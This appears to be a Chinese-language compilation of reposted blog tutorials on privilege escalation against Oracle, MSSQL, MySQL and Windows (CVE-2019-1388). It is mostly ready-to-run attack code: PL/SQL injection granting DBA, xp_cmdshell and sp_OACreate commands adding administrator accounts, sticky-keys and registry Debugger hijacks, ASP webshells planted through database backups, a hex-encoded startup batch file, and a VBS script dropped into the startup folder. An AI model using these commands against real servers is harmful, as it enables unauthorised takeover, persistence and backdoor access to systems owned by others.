Oracle数据库提权

0x00 Oracle提权基础

1、Oracle权限分配

1.1 系统权限

系统规定用户使用数据库的权限。(系统权限是对用户而言)。

系统权限分类
DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。
RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。
CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。
对于普通用户:授予connect, resource权限。
对于DBA管理用户:授予connect,resource, dba权限。

1.2 实体权限

某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。

实体权限分类
select, update, insert, alter, index, delete, all //all包括所有权限
execute //执行存储过程权限

0x01 Oracle提权方法

1、通过注入存储过程提权(低权限提升至DBA)

1.1 原理

SYS创建的存储过程存在sql注入。拥有create procedure权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan命令,获得Oracle数据库dba权限

1.2 利用条件

1、SYS创建的存储过程存在sql注入(EG:CVE-2005-4832)

2、用户拥有create procedure权限(用来创建函数)

1.3 提权步骤

假设有一个用户quan 只有 CONNECT 和 RESOURCE 权限

1.3.1 手工注入

(1)用户登陆后执行select * from session_privs查看权限

(2)创建函数,命令为grant dba to quan

grant execute on pwn to public;//赋予所有用户此函数的执行权限

1
2
3
4
5
6
7
8
9
10
SQL>create or replace function pwn return vaarchar2
authid current_user is pragma autonomous_transaction;
begin
execute immediate 'grant dba to quan';
return '';
end;
/

SQL>grant execute on pwn to public;
/

(3)注入sys.dbms_cdc_subscribe.activate_subscription

1
2
3
4
5
6
SQL>begin
sys.dbms_cdc_subscribe.activate_subscription('''||quan.pwn()||''');
end;
/

SQL>set role dba;

(4)执行select * from session_privs查看是否为dba权限

1.3.2 利用MSF注入

(1)加载攻击模块

1
use auxiliary/sqli/oracle/dbms_cdc_subscribe.activate_subscription

(2)配置参数

1
2
3
4
5
6
7
8
9
set dbuser quan

set dbpass quan123

set sid orcl

set rhost xxxxx

set sql grant dba to quan

(3)run

2、通过utl_http.request存储过程提权

2.1 原理

Oracle9i~11gR2中dbms_xmlquery.newcontext()dbms_xmlquery.getxml()函数可以执行任意PL/SQL语句,利用这两个函数可以获得Oracle服务器的操作系统权限

2.2 利用条件

1、UTL_HTTP存储过程可用

2、Oracle9i~11gR2

2.3 提权步骤

(1)创建Java包

(2)创建存储过程MYJAVACMD

(3)执行存储过程,成功添加用户

0x02 参考文章

《网络攻防实战研究——漏洞利用与提权》

转自:https://www.cnblogs.com/0nc3/p/12081189.html

Windows UAC提权(CVE-2019-1388)

0x00 UAC简介

首先来理解一下什么是 UAC :

用户账户控制UAC:UAC 是 win10 操作系统中非常重要的安全功能,它起源于 windows vista 操作系统,流行于 windows7、windows8 。各种功能策略得到了完善的修订和开发,应用在 win10 操作系统中,目的是减少恶意软件对系统的侵害。

操作系统默认情况下是启用UAC,当用户运行软件就会触发UAC规则。执行的时候就需要权限,否则是不会运行的。

不涉及到更改计算机操作的项目是不会触发UAC规则的,能够触发UAC规则的常用操作包括以下内容:

1
2
3
4
5
6
Copy运行应用程序
修改注册表文件
安装或者卸载程序
安装设备驱动程序
增加或者删除用户账户
复制文件到windows目录

用户操作以上内容时就会触发UAC规则,系统会弹出提示对话框。简单来说,弹出对话框操作就是临时提升用户权限,允许程序运行。

img

控制 UAC 的4种级别:

1、始终通知(最高级别)
在最高级别中,用户安装和卸载应用程序、更改系统设置等操作时,都会触发UAC并弹出提示框。此级别是系统的最高安全级别,禁止用户随意更改设置和卸载应用程序等操作。
img

2、仅在程序尝试对我的计算机进行更改时通知我(默认级别)
在这个级别下,只有应用程序操作时会触发UAC规则,用户对电脑的其它设置操作不会触发UAC。所以,在此规则下既不影响用户的正常操作,又可以防止恶意软件对电脑的更改。
img

3、仅当程序尝试更改计算机时通知我
默认情况下,如果用户需要对操作系统进行更改设置,触发了UAC也不会对系统造成问题。但是,当你没有运行任何程序的时候,电脑提示触发UAC的提示框,说明某些恶意程序正在对电脑进行更改操作。我们应该立刻阻止操作。

4、从不通知(最低级别)
运行在最低级别时,当使用管理员用户或者普通用户操作系统时,所有的操作都会默认执行,电脑不会有任何的提示。在此模式下工作,电脑系统处于不安全的状态。木马程序可以随意更改电脑内部的数据,也可以在用户不只知道的情况下对电脑做出更改。

0x01 漏洞简介

该漏洞位于Windows的UAC(User Account Control,用户帐户控制)机制中。默认情况下,Windows会在一个单独的桌面上显示所有的UAC提示 Secure Desktop。

这些提示是由名为 consent.exe 的可执行文件产生的,该可执行文件以NT AUTHORITY\SYSTEM权限运行,完整性级别为System。

因为用户可以与该UI交互,因此对UI来说:限制是必须的,否则,低权限的用户可能可以通过UI操作的循环路由以SYSTEM权限执行操作,即使隔离状态的看似无害的UI特征都可能会成为引发任意控制的动作链的第一步。

事实上,UAC会话中本应该尽可能含有少些点击操作选项,倘若利用该漏洞,是很容易就可以提升权限到SYSTEM。

0x02 影响范围

1
2
3
4
5
6
7
8
9
10
11
12
13
Copy#SERVER  
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
Copy#WORKSTATION
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened

0x03 漏洞复现

环境信息:Windows 7 sp1
img

触发UAC的程序:HHUPD.EXE
https://github.com/jas502n/CVE-2019-1388

实验前:
img

开始实验:
1.以管理员权限运行 HHUPD.EXE,显示详细信息,显示有关此发布者的证书信息
img

2.点击颁发者右侧的超链接,等待一段时间ie浏览器自动运行,并访问该链接,这时出现404或链接无法访问(此时浏览器以system权限运行)
img

img

Copy

3.将该网页直接另存为文件,选择位置C:\Windows\System32\*.*
img

img
4.选择 cmd.exe 并运行,此时查看权限,已经是system权限

img

img

0x04 参考链接

CVE-2019-1388: Windows UAC 提权
https://github.com/jas502n/CVE-2019-1388
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388
https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege

MSSQL数据库提权总结

0x00 SQLServer提权基础

1、SQLServer权限

列出sql server 角色用户的权限
按照从最低级别角色(bulkadmin)到最高级别角色(sysadmin)的顺序进行描述:

1.bulkadmin:这个角色可以运行BULK INSERT语句.该语句允许从文本文件中将数据导入到SQL Server2008数据库中,为需要执行大容量插入到数据库的域帐号而设计.
2.dbcreator:这个角色可以创建,更改,删除和还原任何数据库.不仅适合助理DBA角色,也可能适合开发人员角色.
3.diskadmin:这个角色用于管理磁盘文件,比如镜像数据库和添加备份设备.适合助理DBA
4.processadmin:SQL Server 2008可以同时多进程处理.这个角色可以结束进程(在SQL Server 2008中称为”删除”)
5.public:有两大特点:第一,初始状态时没有权限;第二,所有数据库用户都是它的成员
6.securityadmin:这个角色将管理登录名及其属性.可以授权,拒绝和撤销服务器级/数据库级权限.可以重置登录名和密码
7.serveradmin:这个角色可以更改服务器范围的配置选项和关闭服务器
8.setupadmin:为需要管理联接服务器和控制启动的存储过程的用户而设计.
9.sysadmin:这个角色有权在SQL Server 2008 中执行任何操作.

2、常见SQL Server提权命令

(1)查看数据库版本

1
select @@version

(2)查看数据库版本

1
select @@version

(3)查看数据库系统参数

1
exec master..xp_msver;

(4)查看用户所属角色信息

1
sp_helpsrvrolemember

(5)查看当前数据库

1
select db_name();

(6)显示机器上的驱动器

1
xp_availablemedia

(7)查看当前账户权限

1
2
select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限
select IS_MEMBER('db_owner') #判断是否为dba权限

(8)开启xp_cmdshell

1
2
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

(9)关闭xp_cmdshell

1
2
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

(10)禁用advanced options

1
EXEC sp_configure 'show advanced options',0;GO RECONFIGURE;

(11)sp_OACreate执行命令

1
2
3
4
DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js,'Language','JavaScript'
ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'

(12)sp_OACreate移动文件

1
2
3
declare @aa int
exec sp_oacreate 'scripting.filesystemobject' @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\temp\ipmi.log','c:\temp\ipmi1.log';

(13)sp_OACreate复制文件

1
2
3
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';

(14)sp_OACreate删除文件

1
2
3
4
5
DECLARE @Result int
DECLARE @FSO_Token int
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile',NULL,'c:\Documents and Settings\All Users\ [开始] 菜单\程序\启动\user.bat'
EXEC @Result = sp_OADestrop @FSO_Token

0x01 SQLServer提权方法

在这里插入图片描述
根据当前拥有的权限分为如下两种情况来进行SQL Server的提权。

image-20200925182920144

0x02在SA权限下存在xp_cmdshell

如果存在xp_cmdshell,使用xp_cmdshell执行命令添加用户,当出现错误可以恢复和开启xp_cmdshell
(1)测试xp_cmdshell是否可以执行

1
exec master..xp_cmdshell 'ver'

获取操作系统版本
(2)添加管理员用户
添加用户

1
exec master.dbo.xp_cmdshell 'net user quan 123456 /add'

添加至管理员组

1
exec master.dbo.xp_cmdshell 'net localgroup administrators quan /add'

0x03在SA权限下使用sp_OACreate执行命令

当xp_cmdshell无法使用时,可以使用sp_OACreate执行命令
开启sp_OACreate

1
2
exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;

使用wscript.shell直接添加系统帐户

查询分离器连接后,xp或2003server系统下使用:

1
2
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add'

其他操作如下:

(1)sp_OACreate替换粘贴键

1
2
3
4
5
6
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

需要同时具备sp_oacreate 和sp_oamethod 两个功能组件。
成功后3389登陆按五次shift键。成功进入服务器。一直向上点”我的电脑“右键“管理” 用户管理直接加用户。

(2)Shell.Application执行命令

declare @o int
exec sp_oacreate ‘Shell.Application’, @o out
exec sp_oamethod @o, ‘ShellExecute’,null, ‘cmd.exe’,’cmd /c net user >c:\test.txt’,’c:\windows\system32’,’’,’1’;
or
exec sp_oamethod @o, ‘ShellExecute’,null, ‘user.vbs’,’’,’c:’,’’,’1’;

(3)使用wscript.shell执行命令

1
2
3
4
use master
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'

public提权操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.webshell.cc
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1

EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'

0x04 在SA权限下沙盒提权

沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。

使用场景:无法执行命令时,xp_regwrite可用(使用条件)

(1)首先检查xp_cmdshell是 否开启

1
select count(*) from master.dbo.sysobjects where xtyoe='x' and name='xp_cmdshell'

(2)开启沙盒模式:

1
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启

(3)利用jet.oledb执行系统命令添加用户

1
select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net user quan 121345 /add")')

(4)将quan用户添加至管理员组

1
select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net localgroup administrators quan /add")')

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。

0x05在SA权限下 注册表劫持粘贴键

当只有xp_regwrite可用时可以劫持粘滞键(sethc.exe),使用xp_regwrite修改注册表

1
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

0x06 DBA权限下通过备份到网站目录getshell

DBA权限下通过备份文件提权步骤如下

两种备份方式如下

(1)差异备份

1
2
3
4
backup database 库名 to disk = 'c:\quan.bak';//完整备份一次(保存位置可以改)
create table cmd (a image);
insert into cmd(a) values(<%execute(request("a"))%>);//创建表cmd并插入一句话木马
backup database 库名 to disk='目标位置\hhh.asp' WITH DIFFERENTIAL,FORMAT;//进行差异备份

(2)LOG备份

LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是LOG备份

1
2
3
4
alter database 数据库名称 set RECOVERY FULL;
create table cmd (a image);
backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack.asp' with init;
insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');

;backup log 数据库名称 to disk = ‘E:\wwwroot\asp_sqli\hack2.asp’ –

0x07 DBA权限下通过备份文件到启动项提权

(1)先测试xp_cmdshell是否可用

1
exec master..xp_cmdshell 'ver'

提示权限拒绝,说明是db_owner权限.

(2)利用xp_dirtree列目录

1
exec master..xp_dirtree 'c:\',1,1

(3)查看启动项

1
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1

(4)列数据库

1
SELECT DB_NAME()

(5)利用url或者sql查询器log备份bat或一句话

1
2
3
4
5
6
alter database [northwind] set RECOVERY FULL--
create table cmd (a image)--
backup log [northwind] to disk = 'c:\cmd1' with init--
insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)--
backup log [northwind] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'--
drop table cmd--

(6)再去查看一下启动项就有一个bat了

1
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1

0x08利用SQL Server CLR提权

Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework
的公共语言运行时 (CLR) 组件集成的功能CLR 为托管代码提供服务,例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。
对于 SQL Server 用户和应用程序开发人员来说CLR 集成意味着您现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)编写存储过程、触发器、用户定义类型、用户定义函数(标量函数和表值函数)以及用户定义的聚合函数。
要通过此种方式来执行命令,也有几个前提:

1、在SQL Server上能启用CLR并可以创建自定义存储过程
2、SQL Server当前账号具有执行命令/代码所需要的权限

创建CLR有两种方式
第一种就是通过DLL创建

1
CREATE ASSEMBLY AssemblyName from ‘DLLPath’

第二种就是通过文件十六进制流

1
CREATE ASSEMBLY AssemblyName from 文件十六进制流

1、安装Visual Studio和SQL Server数据库,此次测试使用了VS2017跟SQL2012。
2、创建一个新的SQL Server数据库项目
3、设置项目属性,目标平台修改为需要的目标平台,如SQL Server 2012;
将SQLCLR权限级别修改为UNSAFE;修改.Net 框架版本为自己需要的版本;语言选择C#
4、右键项目,选择添加->新建项,新建SQL CLR C# 存储过程
5、填入以下测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void SqlStoredProcedure1 ()
{
// 在此处放置代码
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/C whoami > c:\\temp\\1.txt";
process.Start();
}
}

6、填入代码以后进行编译,之后到编译目录下可以看到一个dacpac后缀的文件
7、双击此文件进行解压,将解压出一个名为mode.sql的文件。
8、执行SQL文件中的以下语句

1
2
3
4
CREATE ASSEMBLY [ExecCode]
AUTHORIZATION [dbo]
FROM 0x4D5A[...snip...]
WITH PERMISSION_SET = UNSAFE;

之后执行:

1
2
CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
AS EXTERNAL NAME [ExecCode].[StoredProcedures].[SqlStoredProcedure1]

9、开启数据库服务器配置选项clr enabled

1
2
EXEC sp_configure N'show advanced options', N'1' 
RECONFIGURE WITH OVERRIDE

–开启clr enabled 选项

1
2
EXEC sp_configure N'clr enabled', N'1'
RECONFIGURE WITH OVERRIDE

–关闭所有服务器配置选项

1
2
3
EXEC sp_configure N'show advanced options', N'0' 
RECONFIGURE WITH OVERRIDE

–如果存在权限问题,执行下面一段脚本

1
2
alter database [master] set TRUSTWORTHY on
EXEC sp_changedbowner 'sa'

10、执行命令:

1
EXEC [dbo].[SqlStoredProcedure1];

11、删除存储过程

1
2
DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode

0x09 参考文章

《网络攻防实战研究——漏洞利用与提权》
https://www.cnblogs.com/wh4am1/p/11669539.html
https://www.cnblogs.com/xred/archive/2011/12/31/2308724.html
https://www.cnblogs.com/0nc3/p/12071345.html

Mysql启动项提权

0x00 原理

重启服务器会自动调用导入到“ C:\Documents and Settings\All Users\「开始」菜单\程序\启动”下的VBS脚本,并执行其中的用户添加及提权命令。

0x01 利用条件

两种情况下均可用启动项提权
1、C:\Documents and Settings\All Users\「开始」菜单\程序\启动 目录可读写
直接将 VBS 提权脚本上传到该目录下

2、以root账号登陆MySQL

0x02 提权关键

启动目录下的vbs脚本

0x03 提权步骤

一、上传VBS提权脚本到启动目录

VBS 提权脚本代码如下:

1
2
3
4
5
6
7
8
9
setwsnetwork=CreateObject(“WSCRIPT.NETWORK”)
os=”WinNT://”&wsnetwork.ComputerName
Set ob=GetObject(os)
Setoe=GetObject(os&”/Administrators,group”)
Set od=ob.Create(“user”,”quan”)
od.SetPassword “123456”
od.SetInfo
Set of=GetObject(os&“/quan”,user)
oe.add os&“/quan”

二、将数据库表中内容导入到启动目录

1、登录mysql
2、在test数据库下新建表
create table secist(cmd text);

3、插入vbs脚本

1
2
3
insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);
insert into secist values(“a=wshshell.run(“”cmd.exe /c net user quan 123456 /add“”,0)”);
insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators quan /add“”,0)”);

4、导出vbs脚本到启动选项

1
select * from secist into dumpfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\quan.vbs”;

5、利用其他手段使服务器重启后就提权成功了

0x04 参考

https://www.cnblogs.com/wh4am1/p/6613759.html
《网络攻防实战研究——漏洞利用与提权》5.7.2

https://www.cnblogs.com/0nc3/p/12071340.html

提权分类

0x00 提权技术分类

大概分为三种:
1.系统溢出漏洞提权
2.数据库提权
3.第三方软件提权

0x01 通常脚本所处的权限

1.asp / php 匿名权限(网络服务权限)
2.aspx user权限
3.jsp 通常是系统权限

0x02 提权前的准备

1
2
3
4
5
6
7
• 服务器的操作系统
• 操作系统位数情况
• 当前计算机用户权限
• 当前计算机补丁情况
• 当前计算机进程情况
• 当前网站支持的脚本类型
• 找可读可写目录,上传提权exp,调用cmd执行exp进行提权

常用命令:
(1)Whoami 查看当前用户权限
(2)Systeminfo 查看计算机的信息(操作系统,位数,补丁情况等)
(3) Net user 查看计算机的用户
(4)tasklist/svc 查看正在运行的服务
(5)netstat -ano 查看开放的所有端口
(6)wmic qfe get Description,HotFixID,InstalledOn | findstr /C:”KB4013389” /C:”KB958644” 查看补丁信息

0x03 Windows下提权方式

一、本地提权

1.溢出提权
(1) 远程溢出
远程溢出提权是指攻击者只需要与服务器建立连接,然后根据系统的漏洞,使用响应的溢出程序,即可获取到远程服务器的root权限。
攻击者在攻击服务器时,使用远程溢出这种溢出攻击这种攻击手段是比较少的,服务器通常都打了漏洞补丁,这样旧的溢出漏洞一般不会再起作用,而新的溢出漏洞少之又少,可以说远程溢出漏洞已经”日落西山”了。
(2)本地溢出
本地溢出提权首先要有服务器的一个用户,且需要有执行的权限的用户才能发起提权,攻击者通常会向服务器上传本地溢出程序,在服务器端执行,如果系统存在漏洞,那么将溢出root权限。
EXP = Exploit的中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码,可以使得读者完全了解漏洞的机理以及利用的方法。
2.Getpass 提权
3.hash传递入侵
4.lpk提权

二、数据库提权

1. Mysql提权
• udf提权
• 启动项提权
• mof提权

2. SQL Server提权
• 利用xp_cmdshell提权
• sp_oacreate进行提权
• 沙盒进行提权
• 利用SQL Server CLR提权
3. Oracle提权
• 虚拟主机提权
• 星外提权
• 西部数码提权
• 华众虚拟主机提权

三、第三方软件提权

1.FTP提权
• serv-u提权
• G6-FTP提权
• FileZilla提权
• FlashFXP提权
• PcAnywhere提权
• Xlight FTP Server提权

2.远程软件提权
• vnc
• radmin

3.其他
• Magic Winmail提权
• navicat提权
• zend
• 搜狗输入法提权
• PR提权详解
• 巴西烤肉提权
• 利用360提权

0x04 参考

https://www.cnblogs.com/wh4am1/p/11669539.html
https://blog.csdn.net/God_XiangYu/article/details/99843265#